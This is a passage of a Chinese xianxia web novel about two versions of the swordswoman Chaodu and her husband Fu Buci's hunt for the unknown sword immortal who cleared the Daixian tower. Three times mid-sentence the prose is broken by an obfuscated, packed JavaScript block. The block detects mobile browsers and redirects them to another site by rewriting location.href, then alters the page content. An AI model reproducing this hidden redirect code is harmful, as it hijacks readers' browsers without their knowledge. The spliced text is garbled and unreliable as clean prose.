但见长风烈烈,剑吟如龙,恢宏的声音自待仙塔传出,穿透云层,传向四海,与千万道霞光,以及浮现在藏剑塔顶的巨剑虚影,一同昭告天下:剑仙出世,剑昭日月,百邪退散,天下清平! 朝渡打量着待仙塔顶端那恢宏震撼的巨剑虚影,心中略有疑惑:是无论几个剑仙同时问世都只有一个虚影吗?还是因为待仙塔默认她与另一个自己是一个人? 另一个朝渡侧头倾听着剑吟之声,默默看了霞光与剑影许久,忽然喃喃道:“我有点理解你说的‘天地辽阔’,以及‘之外的风景’了……真壮观啊……也确实很有趣。” “是吧?”朝渡忽然向她伸出了手,在长风与霞光中,笑问,“要不要跟我一起走,离开这里,去过另一种生活?” 另一个朝渡有些失神,刹那间,她仿佛已经顺着朝渡伸来的手,看到了“另一种生活”: 或是逍遥天地,快意自在,山川作友,风云随行。 或是飞升成仙,超脱轮回,登云巅之境,与日月同寿。 或是成为一代宗师,开宗立派,广传剑法,门人无数。 这一瞬间,仿佛她的未来还有无限可能。 她伸出手,指尖甚至控制不住地微微颤抖。 枯寂已久的心,已许久没有如此澎湃过了。 她的指尖已几乎要碰到朝渡的手。 朝渡微微一笑,就要握住她的手,却见她猛地将手收了回去。 朝渡疑惑地“嗯”了一声。 另一个朝渡声音轻颤,目光复杂:“我走不了的。如果我忽然消失,不辞他定会找我到天涯海角,掘地三尺也要把我找出来。” 随即她苦笑了一下:“虽然不是因为他现在有多爱我,而是因为我是盟主夫人,死也必须死个明白。如果我跟他商量想出门‘游历’几年,只会引起他的疑心,可能还会把你暴露出来。” 朝渡微笑道:“这个好说,既然如此,那你就‘死’得明白点。” 另一个朝渡愣住。 朝渡:“别紧张,不是让你真死,而是来一招金蝉脱壳,假死脱身。” 另一个朝渡的眼睛亮了亮,又忽然摇了摇头:“不对,我只是想要他重新爱我,怎么现在变成要假死离开他了?” 朝渡心道她这里怎么如此警觉,无奈解释:“这两者不冲突,你留在他身旁多年也没能改变他心意,倒不如离开他去外面闯闯,说不定这反而是能让你们重新开始的机缘呢?” “……好像有道理。”另一个朝渡喃喃道,眸中重新燃起希望的小火苗,“那……” 朝渡再次伸出手。 另一个朝渡忽然又摇头:“不行,真的走不了,我还有忆昔!” 朝渡愣了一下才想起来忆昔是谁。 “你可以带你的孩子一起走。”朝渡提议道。 另一个朝渡望向远处,茫然片刻,缓而坚定地摇头:“若她跟我一起走,不但前途不明,还会失掉她作为仙盟盟主之子,本该拥有的大好前程的!你知道‘仙盟盟主之子’意味着什么吗?!我们一路走来吃了多少苦,但她不用啊!” 朝渡轻叹:“所以你觉得你给不了忆昔比‘仙盟盟主之子’更光辉的身份,给不了她更好的前程,给不了她除了身份和前程之外,更宝贵的东西。” “更宝贵的东西……”另一个朝渡愣了愣,反问,“还有什么?” “那可太多了。”朝渡看她,似笑非笑道,“我以为你至少会说‘一个人的真心’是比身份和前程都更宝贵的。” 另一个朝渡的脸红了红,小声道:“这只是对我来说。” 朝渡叹了口气,又道:“而且你以为她留在这里就能有好身份和好前程,但这些说不定未来会变成她的枷锁呢?” 另一个朝渡不解问:“怎么会变成枷锁呢?” 朝渡淡淡一笑,只道:“命运从来无常。而且修仙说到底,修的是自己,其它都是身外之物。” 另一朝渡久久沉默无言。 朝渡轻叹,望着远处四面八方涌向待仙塔的“灰白鸟群”,那是仙盟的众多修仙者。 他们有的是天赋卓绝根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577580|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨不凡的天才,有的是刻苦修炼扭转命运的榜样,各个都是百里挑一甚至千里挑一的,是其他修仙者见了都要恭敬三分的,常人艳羡的身份与前途已是他们的掌中之物。 可他们此刻从山下涌来崖顶的待仙塔,像是一群灰白色的鸟,根本辨不出谁是谁。 修仙的人太多了,连天才都多如过江之鲫,密如栖林之鸟。 修仙的路也太长太苦了。若没有些坚定到决绝的勇气,没有要将自己千锤百炼的觉悟,如何走下去,走得远,走得上云巅,成为真正的仙? “罢了。”朝渡淡然道,已懒得再劝她离开。 另一个朝渡讷讷问:“怎么突然就罢了?” 朝渡以臂为枕,躺倒于地,望着天穹上的万丈霞光,懒懒道:“你既然不想走,说明时机不到,我何必强求。” “我也不是不想走……我是不能走。”另一个朝渡努力解释,“我不能把忆昔带走,也不能把她一个人留这,苏柔蕊还有其他贱人一直紧盯着我们母女俩,我一走,她可能会有性命之忧的!” 朝渡懒懒笑了笑:“傅不辞这么无能吗?连自己孩子的命都护不住?那给忆昔的好身份好前程又谈何说起?别以后还要让忆昔去联姻,好帮他自己稳固地位获得更大好处。” 另一个朝渡默然,过了好一会才小声道:“忆昔到底是他唯一的孩子,他应该至少能护住她的命,可挡不住忆昔会被那些贱人在暗地里欺负啊!还有联姻,他应该至少会尊重忆昔她自己的想法吧,让忆昔嫁一个自己喜欢的……其实我也不知道该怎么办了,我想跟你走,但我怕我一走,忆昔会受欺负,忆昔会想我……是不是我留在这里陪着忆昔好好长大,是对她最稳妥最好的一条路了?” 朝渡叹了口气,看得出对方其实不想走。人各有所求,又或许是时机不到,她现在已懒得再辩驳建议什么。 另一个朝渡小心翼翼地看着她,忽然眼前一亮,似有了新的好主意:“要不你来教忆昔吧!有你做她的老师,我放心!” 朝渡:“……”她扭头看向兴奋激动的另一个自己,许久不曾感觉如此累了。 心累。 “不要。”朝渡干净利落地拒绝了,“我只是因你而来,其他人与我无关。” “可忆昔是我生的,她也算你的孩子吧?你就教教她怎么了!”另一个朝渡不死心地劝道,“而且她比我还聪明的,你就试试嘛!” 朝渡似笑非笑地看她:“按你的说法,那傅不辞也算我夫君了?” “啊?这……不太好吧……你不是看不上他吗?他其实很多缺点的……”另一个朝渡支支吾吾。 朝渡轻轻笑了笑:“那确实,我可看不上他,他也配?” 另一个朝渡明显松了口气。 朝渡:“……” 她默默望天,理解不了,真的理解不了,这个自己到底中了什么迷魂药啊?! 朝渡几近绝望地闭上眼,又听另一个自己激动道:“他来了!他也看到了剑仙出世的征兆!可他不知道那是我们……他不知道我也闯过了第十层……” 朝渡懒懒睁开一只眼,看向待仙塔:塔前灰白色的“鸟群”自动分开了一条路,有一只新的“鸟”在“群鸟”的簇拥下,飞到了待仙塔的巨剑虚影前。 ………… 不久前,傅不辞还在与人探讨天雷之事时,忽然听到了浩荡的剑鸣龙吟之声,随即收到侍卫急报:天生异象! 他一步移出宫殿,看着天上的万丈霞光,远处山巅的巨剑虚影,先是震惊,继而脸色逐渐黑到了极点,甚至捏碎了手中凌家关于天雷的秘传记载。 剑仙出世,却不是他。 却不是他?! 还能是谁?! 答案几乎瞬间浮现在了他的脑海中:今天那个引起天雷的人。 此人竟然在引发天雷后,只用了不到一天的时间,就通过了待仙塔的十层?! “游藏可有捉住闯塔之人?”傅不辞皱眉问属下。 属下们面面相觑:“不知道,不曾收到副盟主的消息。” 傅不辞已等不及消息,一拂袖,径直御风飞向远处山峰上的巨剑虚影。 14. 傅不辞 傅不辞来到待仙塔时,塔上方是万丈霞光与巨剑虚影,下方是一群兴奋议论的仙盟中人,还有神色复杂的游副盟主。 却不见半点“剑仙”的踪迹。 傅不辞落到游藏身前,冷声问:“这么多人,没拦住从塔里出来的人?” 一群仙盟精英纷纷低头。 游藏上前一步,低声道:“盟主息怒!此人能在一天内闯过待仙塔十层,想来修为极其了得,属下在塔外设了三层阵法,也未能将此人捉住。” 傅不辞一声冷笑,又问:“那可看清闯塔的人是谁?” 游藏:“此人隐匿功夫了得,竟未留下半点气息……” 傅不辞已难遏怒意:“你若只会夸对面了得厉害,倒也不必当这副盟主了!还有你们,要你们何用!废物!” 惶恐不安的人群中,游藏主动请罪道:“属下无能,愿由盟主责罚,但此人连闯十层,必然在待仙塔留下了些踪迹!请盟主允许属下派人调查塔内踪迹,将功补过!” 傅不辞点头:“好,立刻去查,一丝一毫的痕迹都不能放过!如果查不到,责罚翻倍!” “是!”游藏领命,迅速安排道,“陆星霜,你拿着这把钥匙,把待仙塔完全打开,带九人去查待仙塔中可少了哪些神兵,要快!另外五十人分十组,把待仙塔的十层阵法挨个搜寻一遍!一个角落都不能错过!遇到可疑之处迅速来报!” 傅不辞听着游藏利落安排,忽然想起了一个模糊的身影,许久之前,她也是这般能干,可惜现在废了。 傅不辞微微摇头,不屑再去想那无用之人,重新思索起今天那频引异象的人:此人究竟是谁?来自哪里?有何目的?下一步会做什么? 他正凝神思索着,忽见一人冲出待仙塔,想来是有要事要禀告。 果然,那人直奔他和游藏身前,声音紧张不安:“报!启禀盟主副盟主!已排查完待仙塔九层,共少了十二柄剑!” “十二柄?!”饶是傅不辞也惊了一下,他猜到这人缺兵器,但哪个人会要十二把剑?难道其实引起异象与闯待仙塔的并非一个人,而是一群人?! 游藏追问:“星霜,这十二柄剑都是哪层的?” 陆星霜指向待仙塔塔顶,激动道:“全是第九层的!这人居然把第九层的剑搬空了!” 周围一片寂静。 谁都知道第九层的剑意味着什么,那可各个都是榜上有名人尽皆知的神兵利器啊!甚至还有在修仙名剑谱排行前十的曜灵剑和濯天剑! 陆星霜禀告完毕,退到游藏身边,小声同上司道:“这人好厚的脸皮,居然把第九层的剑搬空了!一般不都是只带走一柄剑吗?” 游藏:“……确实脸皮不薄。” 傅不辞也听到了,不过比起此人脸皮厚薄,他更在意的是:竟然有十二柄名剑都愿意认此人为主! 连他都没有自信能够让第九层所有的剑都认他为主! 剑仙。 他的脑海中忽然冒出了这两个字,以及一个难以遏制的念头:这是真正的剑仙。 随即他猛地掐断了这个念头:不可能!剑仙只能是他! 他多年前,年少时曾闯过一次待仙塔,但只到得第六层,后来忙碌起来,没有顾得上再来,而且也出于某种顾虑——按照规定,待仙塔每人最多只能进入两次,如果那时已经身居高位的他没能进入第九第十层,以后便再也没有机会了,还会沦为很多人的笑柄! 这下倒是让这人占了先! 就算他现在再进,他也没把握能在一天内闯完十层,但凡慢一点,这就说明是他技不如人! 他绝对不允许这种情况发生! 傅不辞脸色越来越冷,一拂袖,径直走向待仙塔。 他要亲自看看,那人究竟是何方神圣。 待仙塔内各层阵法尚未重启,还能看到那闯塔者留下的痕迹。 第一层阵法内,负责此层阵法的仙盟中人正小声议论:“好像只用了一剑……” 傅不辞看了眼地上的魔物碎块,心道不过如此,小菜一碟。 继续向上走,第二层,仍是一剑。 第三层,亦是一剑。 他看到断成两截的魔蛇王时,脚步停了一下,许久前锦绣城那一晚的回忆忽然浮起,不过那时她执剑冲在最前方的背影已经模糊。 他蹙眉,怎么又想起她了,浪费时间。 人是会变的,这个道理他早就明白,既然明白,又何须挂怀? 她已无用,她那张脸他也看腻了。留她一命,留她在这个位置,他已经足够仁义,至于她能不能活着守住这个位置,那就看她自己的本事了。 继续向上,第四层,满地蛊虫尸体,不是一剑,而是一招。 傅不辞轻哼,继续往上。 第五层,不见任何魔物残骸,只有月光落在满地白色的余烬上,仿佛刚下了场安宁的雪。 傅不辞目光微凝,继续向上。 第六层,散落一地的青铜盔甲,却未见盔甲上有刀剑痕迹,周围也没见什么打斗痕迹。 这是何招式?一招制敌吗? 再看不远处的“喜轿”,那上面倒是有剑气斩断的痕迹。 傅不辞蹙眉,派人仔细查看青铜盔甲,自己先继续向上。 第七层,也没见到什么打斗痕迹,只有一缕残魂,浑浑噩噩地飘荡在洁净的月光下。 “这魂魄是谁?”傅不辞问身后跟着的游藏。此人虽然剑术平平,在修仙方面天赋相当一般,但勤恳能干,博览群书,所知甚多,是个得力助手。 游藏极快地回道:“这缕残魂本是个魔修,名为卿伈,号称织梦使,擅长幻术,被仙盟擒住后关在这里,当作第七层的考核。” “千金一梦的织梦使?”傅不辞忽然心念一动,“既然是有意识的残魂,那他应该见过闯塔者!唤醒他!我要审问他!” 游藏答了声“是”,取出一张符纸贴到了残魂上,残魂不再飘荡,定住了身,缓缓抬起头看向四周,明显神智清醒了。 傅不辞来到残魂前,高傲地打量这个仙盟的阶下囚,却听这狼狈落魄的织梦使残魂问:“哦?是你?” “你认识我?”傅不辞蹙眉,他不记得自己跟织梦使打过交道,哪怕是锦绣城那夜他也没见过织梦使。 却见那残魂微愣,随即咧开嘴角,狂笑起来:“认识,当然认识!她满脑子都是你,爱你爱到想杀了你哈哈哈!” 跟着的一群仙盟弟子没人敢吭声,傅不辞反问:“这人是谁?” 织梦使却闭口不言了,只扬起嘴角,笑吟吟地看着他。 傅不辞会意,挥手:“其他人都退下。” 片刻后,第七层只剩傅不辞和织梦使。 傅不辞:“可以说了。” “还不行哦。”织梦使抱起残破的胳膊,笑眯眯道,“这么有用的消息,可比千金都值钱。” 傅不辞蹙眉:“你想要什么?” 织梦使竖起三根手指:“我要离开这里,还要你帮我修补魂魄,再帮我找一具合适的躯体。” 傅不辞冷笑:“看起来织梦使挺会做梦的。” 织梦使不急不缓地笑道:“你先别急着拒绝,我可以保证,这绝对是对你非常关键重要的消息。” “哦?那我要如何相信你?”傅不辞不屑,“倒不如我直接找人用读魂术读了你的记忆,还省得你骗我。” “那可不行,我这般残魂可经不起读魂术,半溜就该散了。”织梦使笑眯眯道,“而且我以我千金一梦的本事保证,如果你真敢对我用读魂术,你能得到的全是我编的假消息。不如这样,我给你先透露一点点。” 傅不辞来了兴趣:“你说。” “在梦里想杀了你的,既是两个人,也是一个人。”织梦使扬起嘴角,“那可真是有趣极了,连我也是第一次见。” 傅不辞蹙眉,追问:“什么意思?什么叫既是两个人又是一个人?” 织梦使摊了摊手:“想知道的话,刚才我提出的三个条件一个都不能少。我重获新生之日,也是你知道答案之时。我建议你可要尽快,那两个人,或者说一个人,一个在梦里杀你,另一个真的能杀你,对你威胁很大哦。” 傅不辞:“……” 织梦使掩口轻笑:“我等得起,你可等不起哦。而且我不活也行,你,甘心死吗?” 傅不辞转身离去:“等着。” 织梦使笑着眯起眼:“别让我等太久哦,那人的剑可是又快又利的。” 傅不辞面容阴沉地继续向上。 那个人果然是冲着他来的。会是谁? 满脑子都是他的蠢女人有好几个,会是她们中之一吗?她们中哪个有这么大的能耐? 傅不辞回忆着自己这些年招惹过的女人,有些给他生过孩子,他印象还深点。 比如忆昔和那个女人。忆昔只是他名义上唯一的孩子,但实际上,忆昔既不是他的第一个孩子,也不是他的唯一一个孩子。 不然,他也不会同意那个傻女人给她起名忆昔,一个刚出生的小孩子有什么必要叫忆昔?去忆上辈子吗? 这名字是那傻女人叫给谁听的,他一清二楚,只是他不在乎,懒得听更懒得管。 至于没给他生过孩子的女人就更多了,有些人他连名字都不记得了,越回忆越头疼。 至于这个织梦使,他打算先稳住他,给他修补下魂魄,魂魄补得差不多了,试试直接用读魂术。 天底下精通幻术的可不止他一个,用幻术让他放下戒心,无法撒谎就可以了。 再往上一层,战斗的痕迹满城都是。 傅不辞仔细地看了一会,觉得对方实力尚在他之下,似乎不必当作大敌,那织梦使大约是在夸大其词,为的是骗他帮忙。 再往上走,是第九层。 满城的血海还未消退,城中心被斩断的巨大炉子残骸更是触目惊心。 还有一缕残魂在血海上飘荡,一直仰望着空中清亮的月亮。 傅不辞问了残魂的身份,让游藏将残魂带过来并唤醒。 符纸贴到残魂的背上,残魂缓缓低下头,把周围看了一圈,显然恢复了神智。 傅不辞正要开口问,却听魔尊残魂先问:“这世上有仙吗?” 傅不辞心头一惊,强行镇定答道:“还不曾。” 魔尊残魂又抬头看向空中明月,喃喃道:“我也记得不曾,可她说自己是,我竟也觉得她是,毕竟除了仙,谁还能有那种力量?” 傅不辞迫切追问:“哪种力量?他是谁?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577581|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>魔尊残魂回头,冷笑:“我为何要告诉你。” 傅不辞挥退其他人,同时下令在场的任何人不得将方才听到的任何一个字透露出去。 随后他同魔尊残魂商议道:“只要你告诉我你看到的一切,我可以帮你离开这里。” “离开?”魔尊残魂不屑摇头,讽笑道,“你们这些道貌岸然诡计多端的修仙人,虽然本事不行,心眼倒多得很,谁信你们谁是傻子。” 傅不辞:“……呵。”这个倒是聪明,不过刚才可有一个傻子。 魔尊残魂望着空中明月,一声轻叹:“可惜我被困于此地,无法亲手把那仙人之躯献给师尊,真遗憾。不过,我的本体可不会错过。” 她扬起嘴角,话音未落,残魂忽然散成了万千光点,眨眼便彻底消散。 傅不辞微怔,随即沉下脸,唤游藏进来,问:“这是什么情况?魔尊残魂没了?” 游藏闭上眼,以灵观察整个第九层阵法片刻,回答道:“是的,魔尊残魂彻底消散了。或许是因为刚才唤醒了魔尊残魂的神智,让她意识到自己被囚禁于此……” 傅不辞皱起眉头:他原想以更快的速度,比如半天之内通过待仙塔第十层,把那人的势头压下去,但第九层如今直接无了。 这计划废了。 他安排道:“把第七层那个蠢货带出去,修补魂魄。” 游藏随即应是,没有半点迟疑,带着满面疑惑的下属走出第九层,前往第七层。 路上,陆星霜小声问:“这不合规矩吧?” 游藏看了她一眼,无奈:“你还不明白吗,在现在的修仙界,他就是规矩。而且他这样做,肯定有别的用意,多留点心。” 陆星霜嘿嘿笑了两声,挠了挠头:“师尊你知道我脑子没那么好使,就喜欢练剑。” “行了,知道了,练你的剑去吧。”游藏又一声无奈叹息。 …… 傅不辞继续向上走,来到了第十层的阵法。 第十层,简单到出乎他意料:只有两张石桌,每张桌上都摆着剑与茶杯。 两张石桌,或许代表着来到这里的有两个人,竟有两个人来到了第十层?! 他心绪复杂,愈发仔细地观察这两张桌子上的东西:两桌上的两个茶杯都被动过,但那两柄剑,一柄随意摆在桌边,应是被动过,一柄正正地摆在桌子一侧,像是完全没被动过。 这意味着什么? 剑与茶杯各自代表什么?空茶杯里本来装着什么? 傅不辞原地踱步:游藏应该知道,但她不在。 他有点烦躁,不耐烦地自己推测:剑应该代表战斗,但跟谁战斗?第十层究竟在考察什么? “把游藏叫过来。”他吩咐道,“要快。” 游藏很快就回来了,傅不辞在看到这个可靠副手的那瞬间,竟有些心安。 “第十层要打败的是谁?剑和茶杯是什么意思?”傅不辞问。 游藏流畅地答道:“第十层的对手是自己,选剑就要战胜自己,选茶杯,就是和自己喝茶。” 傅不辞微愣:“和自己喝茶?这么简单?” 游藏点头:“是。看情况,应该是有一人选了喝茶,直接过关,有一人先选了剑,过了关后才选了茶。” 傅不辞看向剑与茶,他在心里问自己会选什么。 几乎毫无悬念,他必然会选剑,剑修不选茶选什么。而且像他如今身居高位,无数人盯着,他更是剑从不离身。哪怕面对自己,手中也得握着剑。 可有一人居然选了茶。来到第十层,选了茶,与自己对饮。 这是何等的自信从容。 傅不辞的眉头越拧越紧,他隐隐有种不愿承认的感觉,此人的境界,或许在他之上。 不,不可能!也许只是那个人不擅长战斗才选了茶。 可第九层的十二柄神兵利器,会选择一个不擅长战斗的人做主人吗? 他转身离开阵法,前往空荡荡的第九层。 紫金色的群星间,一柄剑都没了,只剩无言的静谧,可他却能感受到这静谧中的嘲讽之意,还有那个人对他的挑衅。 那个人拿走十二柄剑,或许就是拿给他看的,这是此人给他下的战书! 他微微战栗,愤怒中夹杂着他不愿承认的隐约恐惧。 “尽快把观星宗的言掌门请过来!便说请他卜一人,此人威胁到了仙盟乃至整个修仙界!”傅不辞几乎是咬着牙道,“让岑岭去护送,不能让言可在路上出现半点差池!” 观星宗擅长占卜推演,观星宗的那位掌门言可,号称“天意亦可卜”。 傅不辞要请言掌门占卜此人的位置和身世。 看着游藏安排人去请言掌门,傅不辞心中微定,在心头冷笑:“等我找到你,便是你的死期。” “恭喜盟主,贺喜盟主!” 一个笑吟吟的声音从身后传来,傅不辞一股子无名火,转身质问自己那个病秧子谋士:“哪里值得恭喜啊?你的脑子也病了?” “当然是恭喜盟主成为剑仙,咳咳咳——”脸色苍白的谋士咳嗽着,笑着眯起了一双狭长的狐狸眼。 傅不辞正要恼:“那不是……!” 看着谋士宁长康的狡黠眼神,傅不辞忽然收声,顿时悟了。 15. 苏刺 “你的意思是……”傅不辞思索起这一招是否可行,他这病秧子谋士出的招还是那么损。 “天雷也好剑仙也罢,咳咳咳,那人既然遮遮掩掩不敢露面,那就不能怪我们用了这名头。”宁长康掩口轻笑,同时克制不住地咳嗽着,“而且除了盟主,咳咳,谁还能在没给仙盟报备的前提下进入待仙塔呢?这就是铁证。咳咳咳,盟主今日修为突破引来天雷,又来到待仙塔进行试炼,一不留神就过了第十层,多么顺理成章!咳咳——” 傅不辞的眼神闪烁了几番:“那若他之后露面了要该如何?我绝不能背上一个冒名顶替的骂名。” “如何是冒名顶替呢?”宁长康眯起狐狸眼,笑吟吟道,“都是此人不肯露面,盟主才舍名入局,为的就是把此人逼得现身,到时候,此人若是有用,盟主便是惜才之人,此人若是无用甚至有害,盟主逼他现身又是大功一件,正可替天行道,除了这贼子。” 傅不辞心动了。 傅不辞细细思量一番,道:“不过还有一点不足,我不能今天立刻公布这个消息,否则显得我太过急迫要这名号,先封锁消息,给他几天时间,若是他仍不现身,便按你说的做。” 宁长康再次行礼:“盟主英明!咳咳咳咳——”听起来惊心动魄的,仿佛能把内脏咳出来一般。 傅不辞扫了他一眼:“起来吧,你这病怎么就不见好。” 宁长康直起身,眼神黯淡了些,他叹道:“先天元气不足,难以修炼,这些年多亏盟主给的药才吊着命,不死就不错了。” 傅不辞心道真不是因为他整天一肚子损招给损的吗? 心想归心想,傅不辞嘴上道:“听闻回春阁出了个天才医修,最近请她给你再瞧瞧,说不定还有法子,需要的药材都由青云仙宫出。” “多谢盟主费心!”宁长康看起来很感动的样子。 “你快去好好休息吧。”傅不辞装出一副体贴下属的模样。 ………… 朝渡看了两眼“鸟群”,意兴阑珊,问又开始神不守舍的另一个自己:“你不是想要朗月剑吗?走吧。” “啊……让我再看两眼……”另一个朝渡依依不舍地喃喃道,“我跟他之间的间隙到底到了什么程度?若是以前,我根本不会瞒他这些,我会很高兴地同他分享我闯过了待仙塔第十层,他也会为我高兴的……” 朝渡懒懒地“嗯”了两声,坐起身开始打坐。 另一个朝渡小心地看向她:“你是不是对我很失望?” 朝渡闭着眼答道:“还好,比起失望,我更想知道是什么让你变成了这样,以及如何才能让你走出这种生活。” 另一个朝渡微愣,她发现自己低估了另一个自己的耐心和包容。 她忽然有种被关注被包容的得意,像小孩子一样的得意,也有种黯然失色的失落:另一个自己,无论在修为还是在胸襟上,都强过她太多。 “我为什么会变成这个样子?真的是因为傅不辞吗?还是因为我自己?可我跟她本来区别不大的吧……”另一个朝渡自己问自己,却似雾里寻花,找不到答案。 她又遥遥看了傅不辞一眼,终于站起身:“我们走吧!” …… 傅不辞的私库在青云仙宫中,名为“归仙阁”,守卫森严,数队巡逻。 另一个朝渡拿出特制的行云令,带着隐身的朝渡轻松进入。 第一层的房间里,全是各种书籍。 朝渡挑了挑眉,有点意外。 另一个朝渡没有停留,步伐匆匆地上了第二层,朝渡慢悠悠地跟上去。 第二层的房间里,摆着成排的价值连城的灵丹妙药、天材地宝。 另一个朝渡继续往上走,两人来到了第三层。 朝渡抬眼便看到了满墙琳琅满目的各种武器法器。 其中不乏几柄名剑。 另一个朝渡目光殷切地搜寻着朗月剑,朝渡也闲闲地看着,忽然,她目光微凝:角落里有一柄气势磅礴的重剑。 这是她原本世界中苏刺的佩剑,名为“无怜”。 如今竟被摆在这里吃灰。 朝渡走过去,单手提起重剑,这剑由玄铁打造,分量极重,却重不过她此时的心情。 另一个朝渡找朗月剑时看见她提剑这一幕,玩笑道:“你还敢拿新剑?不怕你的剑吃醋?” 朝渡目光复杂地望着剑,片刻后一声叹息:“这是苏刺的剑。” 她的友人苏刺,那个赫赫有名的“无怜重剑”,在这个世界竟变成了这般模样,以色侍人,修为平平,争宠弄权,还想以阴谋诡计嫁祸另一个自己。 “苏刺是谁?”另一个朝渡疑惑问,“我好像不认识她。” 朝渡看她,似笑非笑地叹道:“你认识,她原名苏柔蕊。” “苏……柔蕊?!”另一个朝渡瞬间炸了毛,惊愕道,“你也认识她?她还改名了?” 朝渡颔首:“不但认识,我还跟她是好友,她改名苏刺,号称‘无怜重剑’,用的便是这柄剑。” 另一个朝渡仍是难以置信:“你确定苏刺跟苏柔蕊是一个人?苏柔蕊那个妖妖娆娆的狐媚子能用这重剑?!” “确定。如非亲眼所见,我也不想承认。”朝渡叹息,“确实是一个人,大约是这里的苏柔蕊没有学重剑,也没有改名吧。” 另一个朝渡也沉默了,随即,她似乎想到了什么,兴奋道:“她是你好友,要不你也救救她,让她变回‘无怜重剑’的苏刺吧!” 朝渡瞄向她,一眼就看破她心中所想:“好让她不跟你争宠是吧?” 另一个朝渡心虚地移开目光:“这都是为了她,只不过对我也有一点小小的好处……啊!找到朗月剑了!” 朝渡看她小心翼翼地把朗月剑从剑架上取下来,然后珍而重之地抱着怀里,用脸颊贴着剑鞘,一副恋恋不舍的模样,朝渡捏了捏眉头,又一声无奈叹息。 “我们走吧!”另一个朝渡的声音里都是溢出来的欣喜。 朝渡颔首,还把无怜重剑收入了袖中。 “你要带走它?”另一个朝渡兴奋问,“你是不是真的打算把苏柔蕊变成苏刺?” “我会试试帮她。”朝渡道,“你一会出门时,若有人问你带走了什么,别提这把剑,就当没见过。” 另一个朝渡频频点头,看起来开心极了:“放心,我明白的!” 两人离开归仙阁,门口果然有人盘问。 “请问夫人可带走了什么吗?” 另一个朝渡把朗月剑取出:“只带了这个。” 那负责登记的人点头,一番记录,随后将另一个朝渡放行。 另一个朝渡走远了些,轻声问身旁隐身的朝渡:“接下来去哪……啊,天都黑透了!忆昔肯定已经回宫了,我本来还打算在她回来之前给她做好金丝蜜虾呢!” 朝渡看她,她小心翼翼地回望朝渡:“我去给忆昔做盘金丝蜜虾,然后马上就开始练剑好不好?我已经答应好她了……” 朝渡无奈:“你随意。” 两人回到了琴瑟宫,另一个朝渡先去确认了傅忆昔已经安全回来,又在女儿的抱怨声中连忙到后厨做金丝蜜虾。 朝渡在屋顶打坐,但也能听清屋中母女俩的对话: “娘亲,你今天回来怎么这么晚?我等金丝蜜虾等了好久!” “抱歉啊,娘亲今天有点要紧事,现在就给你做!” “要紧事?你能有什么要紧事?”女孩不解地问。 屋中沉默了。 另一个朝渡不知是被问沉默了,还是没法回答。 朝渡一声轻叹,微微摇头,又听屋里继续传来对话声: “说起来,你今天没受伤吧?有见到苏柔蕊那个贱人吗?”是另一个朝渡在问。 女孩脆生生地答道:“没有受伤,也没有见到那个贱人,但是今天发生了好多事!先是空中的大黑云,然后是剑仙出世!哇太壮观了!待仙塔塔顶好大一个剑!可我想去待仙塔看看,爹身边的亲卫却不让我靠近……” 又过好一会,才传来另一个朝渡的声音:“他不让你靠近也是为了你好。” “哦,行吧。那娘亲你看到了吗?天上的彩霞特别好看!” “……看到了,都看到了。来,金丝蜜虾做好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583983|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你尝尝。” “好吃!甜甜的脆脆的,我最爱吃娘做的这个了!” “好吃就多吃点!走,回宫慢慢吃,在这吃不成体统。” “没人盯着我们的。”女孩小声嘟囔道。 随着屋里的脚步声,朝渡站起身,伸了个懒腰,轻盈地踩着屋檐房脊,跟着母女俩回到琴瑟宫。 又过了好一会,琴瑟宫才安静下来。 另一个朝渡来到了空荡荡的偏殿里,小声问:“忆昔被我哄睡了,你在吗?” 朝渡以穿墙术穿过屋顶,直接落到了漆黑寂静的偏殿中。 “在这,不过我们是魔尊派来的奸细要在这偷偷接头吗?”朝渡有点无奈地问,同时一挥袖,以灵力点燃了满殿的铜灯蜡烛。 “哇!好亮!”另一个朝渡闭了闭眼,片刻后,才适应了睁开眼,又赶紧看了看四周的窗户,担心道,“不过全点亮的话,会不会让其他人注意到?” 朝渡一边打量这座空荡荡的偏殿,心道这还挺适合练剑的,一边无奈提醒:“你是这座宫殿的主人,你干什么都是合理的,别怕。” “好!那我现在就开始练剑!让你久等了抱歉。”另一个朝渡对着她不好意思地笑了笑,“忆昔她只爱吃我亲手做的金丝蜜虾。” 朝渡轻叹:“没事,你也不容易,练吧。” 另一个朝渡点头,又问:“从哪开始练?” 朝渡想了想:“既然你也经历过锦绣城之战,那你应该熟悉山海派的剑法,就从山海剑法开始练吧。” “不教点新的吗?”另一个朝渡讶然问,“有没有更厉害的剑法?” 